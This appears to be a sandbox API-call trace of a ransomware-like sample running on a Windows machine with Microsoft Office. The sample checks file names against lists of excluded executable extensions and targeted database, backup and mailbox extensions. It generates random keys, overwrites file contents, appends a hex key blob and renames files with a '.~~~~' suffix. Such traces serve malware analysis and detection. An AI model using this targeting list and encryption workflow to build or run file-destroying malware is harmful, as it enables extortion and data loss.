	[0136.627] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.627] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.627] CloseHandle (hObject=0x108) returned 1
	[0136.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0136.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.~~~~")) returned 1
	[0136.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.631] GetLastError () returned 0x0
	[0136.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0136.631] lstrlenW (lpString=".cmd") returned 4
	[0136.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0136.631] lstrlenW (lpString=".dll") returned 4
	[0136.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0136.632] lstrlenW (lpString=".bat") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0136.632] lstrlenW (lpString=".cpl") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0136.632] lstrlenW (lpString=".sys") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0136.632] lstrlenW (lpString=".msc") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0136.632] lstrlenW (lpString=".com") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0136.632] lstrlenW (lpString=".lnk") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0136.632] lstrlenW (lpString=".msp") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0136.632] lstrlenW (lpString=".pif") returned 4
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0136.632] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0136.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.635] lstrlenW (lpString=".sqb") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0136.635] lstrlenW (lpString=".ost") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0136.635] lstrlenW (lpString=".txt") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0136.635] lstrlenW (lpString=".mdt") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0136.635] lstrlenW (lpString=".BDB") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0136.635] lstrlenW (lpString=".eql") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0136.635] lstrlenW (lpString=".DBF") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0136.635] lstrlenW (lpString=".EQL") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0136.635] lstrlenW (lpString=".FDB") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0136.635] lstrlenW (lpString=".EDB") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0136.635] lstrlenW (lpString=".DACPAC") returned 7
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0136.635] lstrlenW (lpString=".VHD") returned 4
	[0136.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0136.635] lstrlenW (lpString=".DBV") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0136.636] lstrlenW (lpString=".dacpac") returned 7
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0136.636] lstrlenW (lpString=".sdf") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0136.636] lstrlenW (lpString=".accdb") returned 6
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0136.636] lstrlenW (lpString=".DBX") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0136.636] lstrlenW (lpString=".MDT") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0136.636] lstrlenW (lpString=".SQB") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0136.636] lstrlenW (lpString=".vhd") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0136.636] lstrlenW (lpString=".bac") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0136.636] lstrlenW (lpString=".mdf") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0136.636] lstrlenW (lpString=".BAK") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0136.636] lstrlenW (lpString=".BAC") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0136.636] lstrlenW (lpString=".dbs") returned 4
	[0136.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0136.636] lstrlenW (lpString=".vhdx") returned 5
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0136.637] lstrlenW (lpString=".NDF") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0136.637] lstrlenW (lpString=".dat") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0136.637] lstrlenW (lpString=".DBS") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0136.637] lstrlenW (lpString=".CKP") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0136.637] lstrlenW (lpString=".edb") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0136.637] lstrlenW (lpString=".PST") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0136.637] lstrlenW (lpString=".dbf") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0136.637] lstrlenW (lpString=".SQL") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0136.637] lstrlenW (lpString=".pst") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0136.637] lstrlenW (lpString=".dbv") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0136.637] lstrlenW (lpString=".SDF") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0136.637] lstrlenW (lpString=".dtxs") returned 5
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0136.637] lstrlenW (lpString=".db3") returned 4
	[0136.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0136.637] lstrlenW (lpString=".OST") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0136.638] lstrlenW (lpString=".dbx") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0136.638] lstrlenW (lpString=".DB3") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0136.638] lstrlenW (lpString=".DAT") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0136.638] lstrlenW (lpString=".VHDX") returned 5
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0136.638] lstrlenW (lpString=".ndf") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0136.638] lstrlenW (lpString=".DB") returned 3
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0136.638] lstrlenW (lpString=".sql") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0136.638] lstrlenW (lpString=".MYD") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0136.638] lstrlenW (lpString=".DBT") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0136.638] lstrlenW (lpString=".ACCDB") returned 6
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0136.638] lstrlenW (lpString=".fdb") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0136.638] lstrlenW (lpString=".bak") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0136.638] lstrlenW (lpString=".myd") returned 4
	[0136.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0136.639] lstrlenW (lpString=".DTXS") returned 5
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0136.639] lstrlenW (lpString=".ckp") returned 4
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0136.639] lstrlenW (lpString=".dbt") returned 4
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0136.639] lstrlenW (lpString=".db") returned 3
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0136.639] lstrlenW (lpString=".TXT") returned 4
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0136.639] lstrlenW (lpString=".MDF") returned 4
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0136.639] lstrlenW (lpString=".bdb") returned 4
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0136.639] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0136.639] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3948e8) returned 1
	[0136.640] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0136.640] CryptReleaseContext (hProv=0x3948e8, dwFlags=0x0) returned 1
	[0136.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0136.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.641] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25663101718) returned 1
	[0136.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbae30c10, dwHighDateTime=0x1d60e1e)) 
	[0136.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4f20
	[0136.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4f20 | out: hHeap=0x300000) returned 1
	[0136.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0136.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.642] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.642] GetLastError () returned 0x0
	[0136.642] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.642] GetLastError () returned 0x0
	[0136.661] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffd480, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.661] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2b80, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x2b80, lpOverlapped=0x0) returned 1
	[0136.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.661] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.661] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.662] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.662] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.662] CloseHandle (hObject=0x108) returned 1
	[0136.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0136.662] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.~~~~")) returned 1
	[0136.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.673] GetLastError () returned 0x0
	[0136.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".scr") returned 0x0
	[0136.673] lstrlenW (lpString=".cmd") returned 4
	[0136.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".cmd") returned 0x0
	[0136.673] lstrlenW (lpString=".dll") returned 4
	[0136.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".dll") returned 0x0
	[0136.673] lstrlenW (lpString=".bat") returned 4
	[0136.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".bat") returned 0x0
	[0136.673] lstrlenW (lpString=".cpl") returned 4
	[0136.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".cpl") returned 0x0
	[0136.673] lstrlenW (lpString=".sys") returned 4
	[0136.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".sys") returned 0x0
	[0136.673] lstrlenW (lpString=".msc") returned 4
	[0136.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".msc") returned 0x0
	[0136.674] lstrlenW (lpString=".com") returned 4
	[0136.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".com") returned 0x0
	[0136.674] lstrlenW (lpString=".lnk") returned 4
	[0136.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".lnk") returned 0x0
	[0136.674] lstrlenW (lpString=".msp") returned 4
	[0136.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".msp") returned 0x0
	[0136.674] lstrlenW (lpString=".pif") returned 4
	[0136.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".pif") returned 0x0
	[0136.674] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0136.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.677] lstrlenW (lpString=".sqb") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".sqb") returned 0x0
	[0136.677] lstrlenW (lpString=".ost") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".ost") returned 0x0
	[0136.677] lstrlenW (lpString=".txt") returned 4
	[0136.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS", lpSrch=".txt") returned 0x0
	[0136.677] lstrlenW (lpString=".mdt") returned 4
